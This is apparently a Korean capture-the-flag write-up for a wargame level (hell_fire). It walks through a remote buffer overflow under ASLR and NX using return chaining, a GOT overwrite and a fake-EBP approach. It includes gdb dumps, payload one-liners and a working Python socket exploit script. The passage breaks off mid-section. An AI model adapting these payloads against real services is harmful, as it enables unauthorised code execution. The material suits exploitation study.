Post

FC3 dark\_eyes - hell\_fire - remoteBOF, GOT overwrite, mprotect

GOT overwrite / Remote BOF / [ stdin buf ]

Stack layout

| | | — | | temp 1024 Byte | | 12 Byte | | saved_sfp 4 Byte | | 여기서부터 아래 1024 사용 가능. 단, main의 sfp 는 제외. buffer 256 Byte | | 8 Byte | | sfp | | ret | | … |

  • strcpy(buffer, temp)니까 결과적으로 1024만큼 쓸 수 있다.
  • 입력을 fgets로 처리한다.

fgets로 받는 경우 EOF 또는 개행문자(0x0a)를 입력하지 않는 경우 계속 입력을 대기하기 때문에 끝에 \n을 보내주어야 한다. argv로 받는 경우 공백(0x20)은 “ “로 묶어서 받아야 하며 0x00은 받을 수 없지만, fgets는 개행문자와 EOF만 인식하므로 공백이나 0x00이 있어도 상관 없다. (단, 0x0a가 있는지는 따져보아야한다. ) 그러니까, 공백이나 0x00을 함수에서 어떻게 받아들이느냐가 중요하다.

  • stack에 ASLR 및 NX가 걸려있어 shell code를 stack에 넣어 ret하는 것은 불가능.
  • library Addr은 0x00으로 시작. 따라서 바로 library로 ret하면 이후 파라미터를 삽입할 수 없음.

소스코드를 보면 직접 socket 객체를 할당 받아 socket을 여는 작업을 하지 않고, netstat으로 조회해봐도 7777이 LISTEN인데 어떤 프로세스에 연결되어 있는지 안나온다.

1
2
3
tcp   0    0 0.0.0.0:7777       0.0.0.0:\*          LISTEN      -

때문에 inetd 같은 super daemon에서 돌아간다고 봐야한다. xinetd가 돌아가고 있어 확인해보니 xinetd에서 돌아가고 있었다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[dark\_eyes@Fedora\_1stFloor ~]$ ps -ef | grep inet
root      2526     1  0 19:16 ?        00:00:00 xinetd -stayalive -pidfile /var/run/xinetd.pid

  

/etc/xinetd.d/hell\_fire :
service hell\_fire
{
disable = no
flags           = REUSE
socket\_type     = stream
wait            = no
user            = hell\_fire
server          = /home/dark\_eyes/hell\_fire
}

xinetd에서 돌아가는 경우 stdio가 socket io에 사용된다. 그래서 LOB의 remote BOF와는 조금 다르다.

아무튼 stdio와 연결되므로 exec 등으로 실행한 결과를 remote로 받아볼 수 있다. exec나 fork 해도 fd는 유지되기 때문.

#1 stack에 있는 값 활용하기 #1 stack에 있는 값 활용하기

이 방법은 같은 폴더에 stack 또는 메모리 상에 존재하는 값과 동일한 값으로 symlink를 생성하고 이를 exec하는 방법 인데 결론부터 말하면 이 문제에서는 불가능하다.
stack에 쓸만한 full path가 존재할 가능성은 거의 없다고 봐야 하므로 같은 폴더 내의 파일을 상대 경로로(주로 이름만 입력해서) 실행할 수 있음을 전제로 한다.
그러나 이렇게 대상 프로그램이 데몬일 경우 현재 위치 디렉토리가 어디를 기준으로 하는지 알 수가 없다.
(xinetd.d에 user = hell_fire로 되어있어 hell_fire의 home인가 싶었지만 아니었다.)
억지로 하려면 PATH에 등록된 /usr/bin같은 곳에 symlink를 위치시키고 이러한 PATH를 탐색하는 execlp계열을 사용하는 수 밖에 없는데, 보통 이런 폴더에 접근권한이 없으므로 불가능하다.
* 사실 Remote BOF 자체가 로컬 파일시스템에 접근이 안된다는 가정 하에 수행해야 하므로 이런식으로 접근하는 것은 약간 어폐가 있다.

library로 return을 꼭 ret 위치에서 해야 한다는 고정관념을 버려야한다. stack에 원래 있던 값을 parameter로 사용하려는 경우 parameter로 쓸만한 적당한 값이 존재하는 곳 까지 return해서 ESP를 내릴 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

(gdb) x/32x $ebp

0xfef75408:     0xfef75468      0x00730e33      0x00000001      0xfef75494

0xfef75418:     0xfef7549c      0x0070eab6      0x0083eff4      0x00000000


  


0x83eff4 <svcauthsw+712>:        "<▒\203"


  


0x83eff4 <svcauthsw+712>:       0x0083ed3c

이를 exec*의 파라미터로 사용할 수 있겠다.

1
2
3
4
5
6

0x08048562 <main+222>:  ret

0x7a5720 <execl>

0x08048562의 ret instruction으로 리턴하는 방식으로 0x0083eff4 근처까지 계속 리턴하다가 execl로 리턴한다.

우선 테스트를 위해 로컬에서 수행했다.

1
2
3
[dark\_eyes@Fedora\_1stFloor ~]$ python -c 'print "b"\*268+"\x62\x85\x04\x08"\*4+"\x20\x57\x7a"' | ./hell\_fire

안된다.

제대로 ret instruction이 있는 곳으로 return하는지 실험해보기 위해 fgets( , , stdin)을 사용하지 않고 strncpy를 이용해 argv로 받도록 테스트 파일을 만들었다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
...
strncpy(temp, argv[1], 1024);
memcpy(saved\_sfp, buffer+280, 4);
strcpy(buffer, temp);
memcpy(buffer+280, saved\_sfp, 4);
   

...

  

0x0804854a <main+230>:  ret

argv로 넘기는 경우 20 은 공백이라 큰 따옴표로 한 번 더 묶어줘야 한다는 점 주의.

1
2
3
4
5
6
7
8
9
10
(gdb) r "`python -c 'print "b"\*280+"\x4a\x85\x04\x08"\*4+"\x20\x57\x7a"'`"

  

(gdb) x/12x $ebp -16
0xfefc1408:     0x62626262      0x62626262      0x62626262      0x62626262
0xfefc1418:     0xfefc1478      0x0804854a      0x0804854a      0x0804854a
0xfefc1428:     0x007a5720      0x0070eab6      0x0083eff4      0x00000000

이렇게 해서 execl이 실행되는 것 까지는 확인했다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

[dark\_eyes@Fedora\_1stFloor ~]$ python -c 'print "b"\*268+"\x62\x85\x04\x08"\*4+"\x20\x57\x7a"' | ./hell\_fire


  


core dump :

(gdb) x/16x $ebp-128

0xfeeccd88:     0x62626262      0x62626262      0x62626262      0x62626262

0xfeeccd98:     0x62626262      0x62626262      0x62626262      0x62626262

0xfeeccda8:     0xfeecce08      0x08048562      0x08048562      0x08048562

0xfeeccdb8:     0x08048562      0x0a7a5720      0x0083ef00      0x00000000

위 명령의 결과로 생성된 core dump를 확인해 보니 ret을 타다가 execl으로 넘어가기 전까지 실행되었다. stack을 확인해 보니 \x00을 안넣어 주어 0x0a7a5720이 되었기 때문이었다. 원래 fgets는 끝에 \n이 붙고 그 다음 문자열에 끝에 항상 따라오는 \x00도 붙게 된다. 그렇게 되면 끝에 붙는 \x00이 파라미터 string의 주소값을 침범하게 되지 않을까 싶었지만

문제에서는 strcpy를 사용하므로 \x00을 만나면 거기까지만 복사한다.

그래서 \x00을 넘기게 되면 그 이후에 붙는 \n과 \x00이 파라미터 string의 주소값을 침범하지 않는다.

1
2
3
[dark\_eyes@Fedora\_1stFloor ~]$ python -c 'print "b"\*268+"\x62\x85\x04\x08"\*4+"\x20\x57\x7a\x00"' | ./hell\_fire

이렇게 실행하고 core dump를 확인해 보면 EIP에 파라미터 string의 주소값이 들어가있다.

생각해보니까 call이 아니라 ret한거라서 retAddr이 push되지 않는다는 점을 잊었다. retAddr이 들어가는 4byte만 추가로 확보해 주었다.

1
2
3
4
5
6
7
8
9
10
11
[dark\_eyes@Fedora\_1stFloor ~]$ python -c 'print "b"\*268+"\x62\x85\x04\x08"\*3+"\x20\x57\x7a\x00"' | ./hell\_fire

hell\_fire : What's this smell?

you : bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbS▒▒bbb Wz

euid = 502

because of you

일단 로컬에서 수행하는 것은 됐다. 이제 이를 remote로 수행하면 된다.

fgets로 받는 경우 EOF 또는 개행문자를 입력하지 않는 경우 계속 입력을 대기하기 때문에 끝에 \n을 보내주어야 한다.
그런데 0x007a5720를 전송하기 위해 \x00을 반드시 보내야 한다.
\x00에 짤려서 \n이 입력되지 않을 것 같지만, fgets는 EOF(보통 -1)이나 개행문자를 만나기 전 까지 모든 data를 받을 수 있다.
* socket은 byte로 동작하기 때문에 00 - ff 모두 보낼 수 있으므로 신경쓰지 않아도 된다.

그래서 쉘코드는 이런 형태가 된다.

1
2
3
shellcode = "\x62"\*268+ "\x62\x85\x04\x08"\*4 + "\x20\x57\x7a\x00" + "\n"

근데, 로컬에서는 268개 이상 써도 잘 출력되는데 remote로 수행하면 b를 268개 이상 쓰면 응답이 안온다.

b를 266개 출력하면

1
2
3
4

...bbbbbbbbbbbbbbbbbb\x88X\xe6\xfe

복원된 sfp가 같이 출력된다. \n\x00이 sfp보다 더 뒤에 있어서 %s가 복원된 sfp를 포함하기 때문.

b를 267개 출력하면

1
2
3
4

...bbbbbbbbbbb\x88X\xe6\xfe\nhell\_fire : What's this smell?\nyou : "

맨 마지막에 hell_fire..가 또 나오는 이유는 b*267+’\n’으로 268개를 입력하고 269번째에 \x00이 자동으로 입력되어 이 것이 ret을 변경한다.

1
2
3
4

0x730e33 <\_\_libc\_start\_main+227>:   ->   0x730e00 <\_\_libc\_start\_main+176>:

그래서 main이 실행되기 전으로 돌아가 또 다시 실행되는 것

267개 부터 \n \x00이 ret을 침범하게 되지만 응답은 돌아오기는 하고, printf(“%s\n”, buffer);로 출력 및 전송하고 나서 리턴하니까 별 상관은 없을 것 같은데

이것 저것 해보다가,segmentation fault가 발생하면 전송하지 않는다 는 것을 발견했다. 해보니까 267까지는 fault가 발생하지 않는데, 268부터는 ret Addr을 제대로 주지 않으면 fault가 발생한다. 이상한건 fault는 ret instruction을 수행하면서 발생하는데, 그 전의 printf(“%s\n”, buffer);가 왜 영향을 받는지 모르겠다. 로컬에서는 잘 출력되는데, 원격에서 안되는 걸로 보아 stdio가 socket과 연결 되어있다고 해도 바로 입출력을 처리하는게 아니라, 선행 처리 과정이 필요한 듯? 근데 그것도 좀 이상한게, fd를 변경하면 바로 처리되는 것 아닌가? xinetd라서 다른가보다. 나중에 찾아보고 일단 넘어가기로 했다.

이와 연결해서 ret Addr을 제대로 주었을 때, 로컬에서 수행하면 fault 발생 안하고 잘 수행 되는데 remote로 수행하면 응답이 오지 않는 이유를 생각해보니

execl은 현재 폴더를 기준으로 위치를 탐색하는데, xinetd는 현재 폴더가 어딘지 모른다.

그래서 이렇게 실행하면 fault가 발생하고, 응답이 오지 않는 것으로 결론지었다.

원래 정상적으로 실행했을 경우 execl에 지정된 인자가 없어도 Segmentation fault가 발생하지는 않지만 심볼릭 링크를 지우고 쉘코드를 입력해보니 Segmentation fault가 발생한다. 그래서 전송된 데이터가 없는 것.

1
2
3
4
5
6
7
8
9
[dark\_eyes@Fedora\_1stFloor ~]$ python -c 'print "b"\*268+"\x62\x85\x04\x08"\*3+"\x20\x57\x7a\x00"' | ./hell\_fire

hell\_fire : What's this smell?

you : bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb▒▒▒▒bbb Wz

Segmentation fault (core dumped)

#1 stack에 있는 값 활용하기

#2 got overwrite

#1 에서 stack에 있는 값을 사용할 수 없다는 것을 확인했으므로 파라미터를 직접 삽입해야 한다. 결국 어느 순간에는 library로 리턴해야 하는데, library Addr 최상위 1Byte가 0x00이라는 점 때문에 그대로 사용하자니 parameter를 넘길 수 없다. PLT로 리턴하는 경우, plt는 0x08-로 시작하기 때문에 parameter를 넘기는 것이 가능하다. 그런데, 문제 파일에서 exec*을 호출하지 않기 때문에 plt에 exec*를 link하는 entry가 없다. 그래서어떤 func의 got를 overwrite하고, 그 함수의 plt로 리턴하는 방법 을 사용해야 한다. 문제 파일에서 memcpy를 사용하니, got overwrite를 위해 memcpy를 사용할 수 있겠다.

* plt를 got에 overwrite해도 상관은 없지만 got overwrite를 하는 이유가 애초에 호출되지 않아 plt entry가 존재하지 않기 때문이라는 점을 생각해 보면, plt가 있으면 그냥 plt를 호출하면 된다.

got overwrite를 위해 memcpy를 호출하게 되면 execl을 호출하기 위한 파라미터를 넘겨야 할 곳에 memcpy의 파라미터가 들어가기 때문에 execl의 파라미터는 main이 ret하고 나서의 EBP를 기준으로 넘겨야 한다.

ASLR 때문에 main의 sfp에 어떤 값이 들어있을지(=ret 이후 EBP) 절대 주소를 특정할 수는 없지만 상대 주소로 접근하면, 상대적인 위치를 알아낼 수는 있다.

다시 말하면 현재의 ebp에서 얼마나 떨어진 곳이 이 다음의 ebp가 될 지는 알아낼 수 있으며 조작할 수 없는 것은 main의 ebp 뿐이므로 이 다음의 ebp를 조작할 수는 있다. 또한, main의 ebp를 조작할 수는 없지만 ebp 근처의 값은 조작할 수 있다.

문제 파일의 plt와 got
1
2
3
4
[11] .plt              PROGBITS        0804836c 00036c 000070 04  AX  0   0  4
[21] .got.plt          PROGBITS        08049754 000754 000024 04  WA  0   0  4

어차피 memcpy를 사용할거라면 아예 쉘코드를 넘겨 그 쪽으로 리턴하는 방법을 생각해 볼 수 있다.

stack에 쉘코드를 쓰고 리턴하는 방법은 stack에 NX가 걸려있기 때문에 불가능하다.

code segment에 쉘코드를 쓰고 리턴하는 방법도 생각해 볼 수 있는데, code segment 중에서도 W권한이 있는 다음 영역에만 쓸 수 있다.

1
2
3
08049000-0804a000 rw-p 00000000 fd:00 424349     /home/dark\_eyes/hell\_fire

그러나 이 영역도 W는 가능하지만 X는 불가능한 영역이므로 쉘코드를 넘겨 실행하는 방법은 결과적으로 불가능 하다.

mprotect()를 실행해 X권한을 주면 쉘코드를 실행할 수 있다. #4
got가 이 영역에 속하기 때문에, got에 쉘코드를 넣는다고 해도 이를 실행할 수 있는 방법이 없다. X가 안되는 영역이기 때문에got에는 Instruction이 아니라 Address가 존재 한다. 그래서 got에 접근할 때는 jmp got가 아니라 jmp *got로 접근한다.

이런 경우 쓰는 것은 got에, 호출은 plt를 이용하는 방법을 사용할 수 있다 .

1
2
3
call plt(W불가) -> jmp \*got(W불가) -> got(W가능, X불가) -> func code

아무튼, W가 되면 X가 안되고, X가 되면 W가 안된다. 그래서 이를 유기적으로 잘 연결해서 생각해야 한다.

memcpy로 strcpy의 got를 execl code Addr로 overwrite하기로 했다.

strcpy의 plt와 got
1
2
3
4
5
$2 = {<text variable, no debug info>} 0x783880 <strcpy>
GOT : 0x8049774 <\_GLOBAL\_OFFSET\_TABLE\_+32>:   0x00783880
PLT 호출 부분 : 0x08048522 <main+158>:  call   0x80483cc <\_init+120>

strcpy의 got(0x8049774)에 있는 strcpy code Addr(0x00783880)을 execl code Addr(0x007a5720)로 덮어 쓰고 0x80483cc로 리턴하면 된다.

1
2
3
$3 = {<text variable, no debug info>} 0x7a5720 <execl>

문제는 memcpy가 인자로 포인터를 받는다는 점이다. 값 0x7a5720이 인자가 되는 것이 아니라, 이를 값으로 가지고 있는 주소를 origin string pointer로 넘겨야 한다. 이를 찾아야한다. 그러나 procfs_search로 찾아보니 execl code Addr을 값으로 담고있는 곳이 없다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
00703000-00718000 r-xp 00000000 fd:00 68707      /lib/ld-2.3.3.so
00718000-00719000 r--p 00014000 fd:00 68707      /lib/ld-2.3.3.so
00719000-0071a000 rw-p 00015000 fd:00 68707      /lib/ld-2.3.3.so
0071c000-0083d000 r-xp 00000000 fd:00 68708      /lib/tls/libc-2.3.3.so
0x00720d68 : b4 0f 00 00 [ 20 57 7a 00 ] 05 01 00 00
0083d000-0083f000 r--p 00120000 fd:00 68708      /lib/tls/libc-2.3.3.so
0083f000-00841000 rw-p 00122000 fd:00 68708      /lib/tls/libc-2.3.3.so
00841000-00843000 rw-p 00841000 00:00 0
08048000-08049000 r-xp 00000000 fd:00 424378     /home/dark\_eyes/test\_tttt
08049000-0804a000 rw-p 00000000 fd:00 424378     /home/dark\_eyes/test\_tttt
08324000-08345000 rw-p 08324000 00:00 0
f6ff8000-f6ff9000 rw-p f6ff8000 00:00 0
f6ffd000-f7000000 rw-p f6ffd000 00:00 0
feece000-ff000000 rw-p feece000 00:00 0
0xfeece9a0 : 04 00 00 00 [ 20 57 7a 00 ] d8 e9 ec fe
ffffe000-fffff000 ---p 00000000 00:00 0

아래에 있는건 procfs_search.h에서 사용하는거라 의미가 없고, 한군데만 조회되는데 00으로 시작해서 쓸 수가 없다.

origin string pointer

memcpy든 strcpy든 함수를 사용하려면 origin string의 pointer가 필요하다.
반대로 생각해보면 origin string pointer를 얻어낼 수 있다는 것은 같은 방법으로 exec*의 parameter도 얻어낼 수 있다는 것을 의미하므로 바로 exec*로 리턴하면 안되나 싶었지만, 바로 library로 리턴하면 \x00때문에 parameter 삽입이 안되니까, 어쨌든 got overwrite해야한다.

지금 문제가 되는 것은 origin string pointer를 어떻게 얻어내느냐 하는 것이다.

1) memcpy를 두 번 호출해서 stack에 먼저 0x007a5720을 쓰고, 그 주소를 다시 got에 쓰는 방법? 이 떠올랐는데 생각해보니, memcpy를 호출한다는건 origin string의 pointer가 존재한다는 것을 의미하므로 origin string의 pointer를 만들기 위해 memcpy를 두 번 호출한다는 것은 모순이다.

2) 환경변수 및 stack에 넘기고 주소를 구하는 방법

ASLR 때문에 불가능하다.

3) 쉘코드에 직접 문자열 삽입 => (#4 로 해결 ) ASLR 때문에 삽입한 쉘코드 주소를 알아낼 수 없고 알아내도 X권한이 없다.

4) symlink를 활용해 memory에 원래 있던 값 활용

#1 에서 해봤지만 불가능했다.

5) stdin

혹시나 해서 stdin으로 넘긴 데이터가 남지 않을까 싶어 찾아봤는데,

0xf6ffe000에 데이터가 남아있었고, 이 주소는 고정이다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
[dark\_eyes@Fedora\_1stFloor ~]$ ./test\_tttt
hell\_fire : What's this smell?
you : abacd
abacd

  

00703000-00718000 r-xp 00000000 fd:00 68707      /lib/ld-2.3.3.so
00718000-00719000 r--p 00014000 fd:00 68707      /lib/ld-2.3.3.so
00719000-0071a000 rw-p 00015000 fd:00 68707      /lib/ld-2.3.3.so
0071c000-0083d000 r-xp 00000000 fd:00 68708      /lib/tls/libc-2.3.3.so
0083d000-0083f000 r--p 00120000 fd:00 68708      /lib/tls/libc-2.3.3.so
0083f000-00841000 rw-p 00122000 fd:00 68708      /lib/tls/libc-2.3.3.so
00841000-00843000 rw-p 00841000 00:00 0
08048000-08049000 r-xp 00000000 fd:00 424376     /home/dark\_eyes/test\_tttt
08049000-0804a000 rw-p 00000000 fd:00 424376     /home/dark\_eyes/test\_tttt
0822b000-0824c000 rw-p 0822b000 00:00 0
f6ff8000-f6ff9000 rw-p f6ff8000 00:00 0
f6ffd000-f7000000 rw-p f6ffd000 00:00 0
0xf6ffdffc : 00 00 00 00 [ 61 62 61 63 64 ] 0a 00 00 00
feffa000-ff000000 rw-p feffa000 00:00 0
0xfeffa8ec : 04 00 00 00 [ 61 62 61 63 64 ] 2f 36 36 39
0xfeffa94c : 08 00 00 00 [ 61 62 61 63 64 ] 0a 00 00 6c
0xfeffad5c : c8 ae ff fe [ 61 62 61 63 64 ] 0a 00 6f 20
ffffe000-fffff000 ---p 00000000 00:00 0

아마 stdin 객체이겠거니 싶은데 확인해 보았다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
0083f000-00841000 rw-p 00122000 fd:00 68708      /lib/tls/libc-2.3.3.so
0x0083f721 : 22 ad fb 06 [ e0 ff f6 ] 06 e0 ff f6
0x0083f725 : e0 ff f6 06 [ e0 ff f6 ] 00 e0 ff f6
0x0083f729 : e0 ff f6 00 [ e0 ff f6 ] 00 e0 ff f6
0x0083f72d : e0 ff f6 00 [ e0 ff f6 ] 00 e0 ff f6
0x0083f731 : e0 ff f6 00 [ e0 ff f6 ] 00 e0 ff f6
0x0083f735 : e0 ff f6 00 [ e0 ff f6 ] 00 e0 ff f6
0x0083f739 : e0 ff f6 00 [ e0 ff f6 ] 00 e4 ff f6

  

(gdb) x/12x 0x0083f721
0x83f721 <\_IO\_2\_1\_stdin\_+1>:    0x06fbad22      0x06f6ffe0      0x00f6ffe0     0x00f6ffe0
0x83f731 <\_IO\_2\_1\_stdin\_+17>:   0x00f6ffe0      0x00f6ffe0      0x00f6ffe0     0x00f6ffe0
0x83f741 <\_IO\_2\_1\_stdin\_+33>:   0x00f6ffe4      0x00000000      0x00000000     0x00000000

문제 파일 hell_fire에서도 같은 위치에 있는지와 fgets에서 인자로 넘어간 stdin과 어떻게 연결되는지 확인.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
main의 fgets 부분
0x080484d4 <main+80>:   sub    $0x4,%esp
0x080484d7 <main+83>:   pushl  0x8049788
0x080484dd <main+89>:   push   $0x400
0x080484e2 <main+94>:   lea    0xfffffae8(%ebp),%eax
0x080484e8 <main+100>:  push   %eax
0x080484e9 <main+101>:  call   0x804838c <\_init+56>

  

(gdb) x/x 0x8049788
0x8049788 <stdin@@GLIBC\_2.0>:   0x0083f720
(gdb) x/4x 0x0083f720
0x83f720 <\_IO\_2\_1\_stdin\_>:      0xfbad2288      0xf6ffe006      0xf6ffe006     0xf6ffe000

처음부터 stdin으로 접근했으면 좋았을텐데, 좀 헤맸다.

아무튼 주소는 고정이나 실행 권한은 없으니 저기에 쉘코드를 삽입해봐야 의미가 없고, => (#4 로 해결 ) memcpy와 execl에서 사용할 파라미터 string을 삽입하고 주소를 얻어내는 데 사용할 수 있다.

memcpy 어셈을 보니 prologue 과정이 없으므로 memcpy Addr과 parameter 사이에 4byte retAddr만 확보해주면 된다. 또한, execl을 실행하면서 parameter를 ESP기준으로 사용할 수 없기 때문에 execl+3으로 리턴해서 prologue를 건너뛰어 EBP를 사용하도록 해야한다. stdin으로 넘겨야 할 데이터는 인자로 사용할 execl+3 Addr 및 /bin/my-pass다 아무튼 stack은 대략 이렇게 구성해야 하는데,문제가 있다.

 

sfp 268byte | | memcpy (0x80483bc) | | got를 execl+3 변경한 함수의 pltAddr | | target | | origin (0xf6ffe000 근처의 execl+3 Addr) | | 00000003 (size) | | ~~~~~~~~~~~

위 sfp 와 이 아래 경계에 위치한 ebp의 차는 0x60

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
  |
|  4byte sfp dummy
  |
|  4byte ret dummy
  |
|  0xf6ffe000 근처의 /bin/my-pass Addr
  |
| null 또는 null poin
t
er
  |

  


##### memcpy / strcpy
overwrite function으로 memcpy와 strcpy를 선택할 수 있는데, memcpy를 선택하면 제대로 동작하지 않기 때문에 strcpy를 사용해야한다.

  

memcpy를 사용하면 copy할 size를 직접 지정할 수 있기 때문에 execl+3 Addr과 /bin/my-pass string 사이에 \x00을 넣어 구분해주지 않아도 된다는 장점이 있다.
그러나 size가 int형이라 00000003으로 입력해야 하기 때문에, 00이 들어갈 수 밖에 없어 size 이후에 들어가는 execl의 인자들을 입력할 수 없다.

fgets는 00을 받지만 문제 파일에서 overflow가 발생하는 지점인 temp에서 buffer로 옮겨 쓰는 작업을 strcpy를 사용하기 때문에 00 이전 까지만 buffer로 옮겨 쓰게 된다.
   



  


**따라서 strcpy를 사용해야 한다.** 

strcpy를 사용하면 execl+3 Addr과 /bin/my-pass를 \x00으로 구분해주어야만 한다.
execl+3 Addr과 /bin/my-pass는 b\*268이 들어가는 stdin의 맨 앞부분과, stdin의 맨 뒷부분에 넣을 수 있는데
b\*268에 이들을 넣는 경우 문제 파일에서 strcpy로 옮겨 쓸 때 \x00을 만나 overflow가 일어나지 않는다.
그래서 이들을 stdin의 맨 뒷부분에 붙여 넘기면, \x00이 맨 마지막에 위치하게 되므로 제대로 overflow가 일어나 memcpy와 execl의 파라미터를 넘길 수 있다.
\x00 이후에 위치한 /bin/my-pass string은 buffer로 옮겨 써지지 않는데, 어차피 필요한 것은 stdin에 있는 /bin/my-pass string의 pointer이기 때문에, 옮겨지든 안옮겨지든 상관없다.

  


**그래서, strcpy를 이용해 execl+3 code Addr을 memcpy의 GOT에 overwrite하기로 했다.** 


  

call strcpyPLT :

```

0x08048522 <main+158>:  call   0x80483cc <\_init+120>

```


  

call memcpyPLT :

```

0x08048509 <main+133>:  call   0x80483bc <\_init+104>

```


  

memcpyGOT :

```

0x8049770 <\_GLOBAL\_OFFSET\_TABLE\_+28>:   0x007854c0

```


  

execl code Addr :

```

$1 = {<text variable, no debug info>} 0x7a5720 <execl>

```


  

origin에 들어가야 할 주소 :

```

0xf6ffe000 + 376byte (0x178) = 0xf6ffe178

```


  


  

stack은 이렇게 구성된다.


|  |
| --- |
| ...

sfp
268byte |
| strcpy (0x80483cc
)
  |
|  memcpy (0x80483bc)
[ ==>
execl+3 ]
  |
| target (0x8049770, memcpyGOT)
  |
| origin (0xf6ffe178, execl+3 Addr pointer)
  |
| ~~~~~~~~~~~
76Byte

| | 4byte sfp dummy | | 4byte ret dummy | | /bin/my-pass pointer ( 0xf6ffe17c) | | 00000000 | | execl+3 Addr (0x007a5723) | | /bin/my-pass string |

마지막에 stdin에 들어가는 execl+3는 little endian으로 정렬 해야 하고 /bin/my-pass는 정렬하지 않고 그대로 써야 한다 는 것에 유의.
4byte sfp dummy는 w권한 있는 곳으로 정해야 한다는 것에 유의.

1
2
3
4
5
6
[dark\_eyes@Fedora\_1stFloor ~]$ python -c 'print "b"\*268+"\xcc\x83\x04\x08"+"\xbc\x83\x04\x08"+"\x70\x97\x04\x08"+"\x78\xe1\xff\xf6"+"b"\*76+"\x10\x10\xf8\xfe"+"\xb8\x85\x04\x08"+"\x7c\xe1\xff\xf6"+"\x00\x00\x00\x00"+"\x23\x57\x7a\x00"+"\x2f\x62\x69\x6e\x2f\x6d\x79\x2d\x70\x61\x73\x73\x00"' | ./hell\_fire
hell\_fire : What's this smell?
you : bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb▒V▒▒px▒▒▒bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb▒▒▒|▒▒▒
euid = 502
because of you

remote로 똑같이 시도해보았는데 안되길래 확인해보니, \xcc가 .encode()함수를 거치면서 \xc3\x8c로 변경된다. \x80부터 \xc2\x80같이 두개로 쪼개진다. 이는 ascii의 range가 128이기 때문.

아무튼 그냥 앞에 b를 붙이는게 빠르다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import socket


s = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)
s.connect(("192.168.110.128", 7777))
print(s.recv(1024))


gotOverwrite = b"b"\*268+ \
b"\xcc\x83\x04\x08"+ \
b"\xbc\x83\x04\x08"+ \
b"\x70\x97\x04\x08"+ \
b"\x78\xe1\xff\xf6"+ \
b"b"\*76+ \
b"\x10\x10\xf8\xfe"+ \
b"\xb8\x85\x04\x08"+ \
b"\x7c\xe1\xff\xf6"+ \
b"\x00\x00\x00\x00"+ \
b"\x23\x57\x7a\x00"+ \
b"\x2f\x62\x69\x6e\x2f\x6d\x79\x2d\x70\x61\x73\x73\x00"+ \
b"\n"


s.sendall(gotOverwrite)
print(s.recv(1024))


s.close()


=========================
b"hell\_fire : What's this smell?\nyou : "
b'euid = 503\nsign me up\n'

#3 fake ebp - exec*

ASLR 때문에 main의 sfp에 어떤 값이 들어있을지(=ret 이후 EBP) 절대 주소를 특정할 수는 없지만 상대 주소로 접근하면, 상대적인 위치를 알아낼 수는 있다.

다시 말하면 현재의 ebp에서 얼마나 떨어진 곳이 이 다음의 ebp가 될 지는 알아낼 수 있으며 조작할 수 없는 것은 main의 ebp 뿐이므로 이 다음의 ebp를 조작할 수는 있다.

leave, ret instruction의 leave로 리턴 하게되면 leave가 실행되며 ebp를 stdin에 있는 execl parameter 근처로 보낼 수 있고 그 다음 ret이 실행되며 execl+3으로 리턴할 수 있다.

 

sfp 268byte | | | leave (->ret) instruction Addr | | ~~~~~~~~~~~ 88byte dummy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
이 아래가 원래 ebp |
| **sfp** (0xf6ffe170) |
|  execl+3 Addr (0x007a5723)
-------------
여기까지 다 더하면 368(0x170) byte |
|  4byte sfp dummy |
|  4byte ret dummy |
|  /bin/my-pass pointer (0xf6ffe180) |
